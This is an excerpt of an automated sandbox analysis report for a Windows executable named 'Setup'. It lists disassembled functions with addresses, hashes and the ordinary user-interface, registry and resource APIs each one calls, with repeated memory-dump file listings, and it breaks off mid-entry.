Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: EmptyRect
String ID:
API String ID: 2270935405-0
Opcode ID: 58b6b454e98d0793b11610e915c07db8e47842ac989246a6caa2ddb97335c49f
Instruction ID: b792856c9ec50f24249faa4cc5e5f6e5c3b66f87fe60bd460611d5e7978e4a2d
Opcode Fuzzy Hash: 58b6b454e98d0793b11610e915c07db8e47842ac989246a6caa2ddb97335c49f
Instruction Fuzzy Hash: 5151C5B08212218FCB659F2985C46E93BE8FB09B50F1841BBED4DCF65ACBB01541DFA1

Function 00B82526 Relevance: 6.1, APIs: 4, Instructions: 128COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 00B825A1
SysFreeString.OLEAUT32(00000000), ref: 00B82632
SysFreeString.OLEAUT32(00000000), ref: 00B82641
SysFreeString.OLEAUT32(00000000), ref: 00B82650

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: FreeString$ClearVariant
String ID:
API String ID: 3349467263-0
Opcode ID: 1e231ed9d47572ee7a8d75785880e2113fdb594322f09b83e85047d7121548c9
Instruction ID: 841ed6120a6b53fc1ed9a5c7a85852657dfef6a9d57d3087aeccb38e2d18736e
Opcode Fuzzy Hash: 1e231ed9d47572ee7a8d75785880e2113fdb594322f09b83e85047d7121548c9
Instruction Fuzzy Hash: 20416D71A01219FFCB15EFA4D889B9DBBB8FF14744F00416AF505A71A0EB70AD45CBA0

Function 00B678D8 Relevance: 6.1, APIs: 4, Instructions: 117registryCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(?,?,?,?,00001000,?), ref: 00B67A24

Part of subcall function 00B67A56: RegCloseKey.ADVAPI32(00000000,?,?,?,?,00B67885,?,00000000), ref: 00B67A9B

RegQueryValueExW.ADVAPI32(00000000,?,00000000,?,00000000,?,00000000,?,00000000), ref: 00B67973
RegQueryValueExW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 00B679AF
RegCloseKey.ADVAPI32(00000000), ref: 00B679C9

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: CloseQueryValue$PrivateProfileString
String ID:
API String ID: 2114517702-0
Opcode ID: fb4ce29c1045e1b508e74cda4db7bbe28b1327478299e3902f0545624f6fc9f0
Instruction ID: d3e0fabd05d28d9b88efe2f6ad6325525878e8f094c20643f7194c7fff9b7c91
Opcode Fuzzy Hash: fb4ce29c1045e1b508e74cda4db7bbe28b1327478299e3902f0545624f6fc9f0
Instruction Fuzzy Hash: 25417171941319ABDB25DF54CC49FAEB7F9EB14314F1005EAE509A3282DB38AE44DF60

Function 00B68EF8 Relevance: 6.1, APIs: 4, Instructions: 115windowCOMMON

Download Yara Rule

APIs

EnableMenuItem.USER32(00000000,?,?), ref: 00B68FB9
GetFocus.USER32 ref: 00B68FD3
GetParent.USER32(?), ref: 00B68FDE
SendMessageW.USER32(?,00000028,00000000,00000000), ref: 00B68FF3

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: EnableFocusItemMenuMessageParentSend
String ID:
API String ID: 2297321873-0
Opcode ID: 24b319d8f5afe3b079496bb0d0cbb2e9ebf237b33818da00d6db0fdbf08ca430
Instruction ID: bdb5290e73426382138379e64041cdbe19ce961bc24ac63cb3a4d858a60b9717
Opcode Fuzzy Hash: 24b319d8f5afe3b079496bb0d0cbb2e9ebf237b33818da00d6db0fdbf08ca430
Instruction Fuzzy Hash: 9141D371200605AFDB24AF24D884B6EBBF9FF44310F10866AF516976A0CB74ED40CB91

Function 00B70BEE Relevance: 6.1, APIs: 4, Instructions: 111windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B7589D: GetWindowLongW.USER32(?,000000F0), ref: 00B758AA

GetClientRect.USER32(?,?), ref: 00B70C5D
IsMenu.USER32(?), ref: 00B70C9A
AdjustWindowRectEx.USER32(?,00000000,00000000), ref: 00B70CAD
GetClientRect.USER32(?,?), ref: 00B70CFA

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$ClientWindow$AdjustLongMenu
String ID:
API String ID: 3435883281-0
Opcode ID: b2cdd29d33ef4a61d5c383d447b764a3124a70acf5afaf53989333b431ab010f
Instruction ID: 5b0ab4d212a9a250dc54fa6ccff56ea77759b18c2cce2650bb344c910ff30e42
Opcode Fuzzy Hash: b2cdd29d33ef4a61d5c383d447b764a3124a70acf5afaf53989333b431ab010f
Instruction Fuzzy Hash: B931A671A00615AFCB15EFA4C944A7FBBF8FF48304F11816AE919E7241DB749E00CB91

Function 00BA6E9B Relevance: 6.1, APIs: 4, Instructions: 111windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00BA6F34
ScreenToClient.USER32(000000FF,?), ref: 00BA6F44
PtInRect.USER32(000000D8,?,?), ref: 00BA6F57
PostMessageW.USER32(000000FF,00000010,00000000,00000000), ref: 00BA6F72

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ClientCursorMessagePostRectScreen
String ID:
API String ID: 1913696736-0
Opcode ID: 3343a553034e8d95a508eae3a5aee0586dfacaedd2195300f9de2cca4be3a752
Instruction ID: 6e5ad9497a2cfd5199c74e8acc1aba614ef3708aecaca8a50649dcf2c4db7925
Opcode Fuzzy Hash: 3343a553034e8d95a508eae3a5aee0586dfacaedd2195300f9de2cca4be3a752
Instruction Fuzzy Hash: 5731FF75608265EFCF149FA0EC84B5E7BB4FF4A724F0401BAE909A7290DB31AD05CB91

Function 00BEE1DA Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(?), ref: 00BEE211
GetWindowRect.USER32(?,?), ref: 00BEE252
GetClientRect.USER32(?,00000000), ref: 00BEE270

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$ClientEmptyWindow
String ID:
API String ID: 742297903-0
Opcode ID: 0fd88ff145edad8fe885f25fa74b8676990bd25e464077e4230508a6806d9fac
Instruction ID: f3e75223bdcb4491faa43275286cd348570a02acbd9e796e3dd2ad61adbb8a06
Opcode Fuzzy Hash: 0fd88ff145edad8fe885f25fa74b8676990bd25e464077e4230508a6806d9fac
Instruction Fuzzy Hash: 513118B5A0154ADFCB04DF69C984AAEBBF9FF48300B1481A9E51ADB351D734E901CBA1

Function 00B75C59 Relevance: 6.1, APIs: 4, Instructions: 101windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00B75C86
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00B75CE7
SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00B75D31
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 00B75D60

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5238cbe51c5c93a88e30eb60ff4d1b4655502d4579f85d7270eab10764fffca8
Instruction ID: a7914e4a36ef084f976cfd7b6db93437faa044c58201461f91aed089e0c26ee2
Opcode Fuzzy Hash: 5238cbe51c5c93a88e30eb60ff4d1b4655502d4579f85d7270eab10764fffca8
Instruction Fuzzy Hash: FE319471900A06FFEB359BA0C988F7A73EDFF00744F1480B9E126961A1CBB1AE41DA51

Function 00B634A0 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00000000,?,00000006,?,00000010,?,?,00B9341E,00000000,?,?,00000000,00000004,00B933E4,00000000,?), ref: 00B634BB
LoadResource.KERNEL32(00000000,00000000,?,00000010,?,?,00B9341E,00000000,?,?,00000000,00000004,00B933E4,00000000,?,00B7BF2D), ref: 00B634CE
LockResource.KERNEL32(00000000,?,00000010,?,?,00B9341E,00000000,?,?,00000000,00000004,00B933E4,00000000,?,00B7BF2D,00000001), ref: 00B634DD
SizeofResource.KERNEL32(00000000,?,?,00000010,?,?,00B9341E,00000000,?,?,00000000,00000004,00B933E4,00000000,?,00B7BF2D), ref: 00B634F3

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: 5fe1b666c4824a77c211f3fb3f1e0ee960768e628395a564a2b62842dee1b3ec
Instruction ID: 8aee18666ba34c5cf7043ba9f177dab764917c3849e3ed60cb0ef3d14edc34f3
Opcode Fuzzy Hash: 5fe1b666c4824a77c211f3fb3f1e0ee960768e628395a564a2b62842dee1b3ec
Instruction Fuzzy Hash: 9831E8326001259FDB209F29D84497EB7E9EFA1B1170441AAF846CB251DB39EF41DBA1

Function 00B89A85 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(00000000), ref: 00B89A90
GetClientRect.USER32(?,00000000), ref: 00B89AB0
GetParent.USER32(?), ref: 00B89ACF
OffsetRect.USER32(00000000,00000000,00000000), ref: 00B89B51

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$ClientEmptyOffsetParent
String ID:
API String ID: 3819956977-0
Opcode ID: ea7a661b9042dd657317378f452a76b68caa163a3a5ff5bb521aa2337ab5cd44
Instruction ID: f078fcb5e68a92305ad215a8cf7b8b0ba00937e36e19776f8662dd660a5d983e
Opcode Fuzzy Hash: ea7a661b9042dd657317378f452a76b68caa163a3a5ff5bb521aa2337ab5cd44
Instruction Fuzzy Hash: 223176712006029FDB15AF65D895F39B7E8FF44750714C2AEE91DCB651EB60EC40CB90

Function 00C533BB Relevance: 6.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32(000000FF), ref: 00C53410
IsRectEmpty.USER32(?), ref: 00C5341A
SetRectEmpty.USER32(?), ref: 00C5346D
SetRectEmpty.USER32(?), ref: 00C53477

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: EmptyRect
String ID:
API String ID: 2270935405-0
Opcode ID: fafd320eca06876cf50f568b0e58c18e671d2df87766b2db1bd925e273886974
Instruction ID: 75af9927ce2d3252dd0dd6465feb1d9c0ee695dcdd6ca9dbb6f90af8ab48dcbf
Opcode Fuzzy Hash: fafd320eca06876cf50f568b0e58c18e671d2df87766b2db1bd925e273886974
Instruction Fuzzy Hash: DA31F0349012488BCF16CF90C884BAE7BB8EF04756F14405AED01AB146C775CF89CBA4

Function 00C011C1 Relevance: 6.1, APIs: 4, Instructions: 91COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00C01235
EqualRect.USER32(?,?), ref: 00C01260
BeginDeferWindowPos.USER32(00000000), ref: 00C0126D
EndDeferWindowPos.USER32(00000000), ref: 00C01293

Part of subcall function 00BF395C: GetWindowRect.USER32(?,?), ref: 00BF3970
Part of subcall function 00BF395C: GetParent.USER32(?), ref: 00BF39C6
Part of subcall function 00BF395C: GetParent.USER32(?), ref: 00BF39DA

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$Rect$DeferParent$BeginEqual
String ID:
API String ID: 2054780619-0
Opcode ID: 0fbfaec87e449dec09b30cc6fbfc8e2bdbbda2befb2c2f8ef8822309d686ef58
Instruction ID: 699455f0fc1a4ede235b6be92fcada5cada18ebb31b44d2d9579507df66d1a8a
Opcode Fuzzy Hash: 0fbfaec87e449dec09b30cc6fbfc8e2bdbbda2befb2c2f8ef8822309d686ef58
Instruction Fuzzy Hash: 1A311271E01219AFCF00DFA5D984AEEBBF9BF08750B54416AE805E3250DB70AA05CBA1

Function 00BA6C97 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00BA6CC0
PtInRect.USER32(?,?,?), ref: 00BA6CE8

Part of subcall function 00BA505E: ScreenToClient.USER32(?,?), ref: 00BA507A
Part of subcall function 00BA505E: GetParent.USER32(?), ref: 00BA5091
Part of subcall function 00BA505E: GetClientRect.USER32(?,?), ref: 00BA5124
Part of subcall function 00BA505E: MapWindowPoints.USER32(?,?,?,00000002), ref: 00BA5136
Part of subcall function 00BA505E: PtInRect.USER32(?,?,?), ref: 00BA5146

MapWindowPoints.USER32(?,?,?,00000001), ref: 00BA6D11
SendMessageW.USER32(?,00000202,?,?), ref: 00BA6D30

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$Client$PointsWindow$MessageParentScreenSend
String ID:
API String ID: 2689702638-0
Opcode ID: 9201211a779b0725c9f769eec35b6d65a1e024d8fe3c4732c1604a0e3898199e
Instruction ID: 1d73ad1d3dc7baea7a680424e8664b260c99128800d89bec2702f7f0c152eace
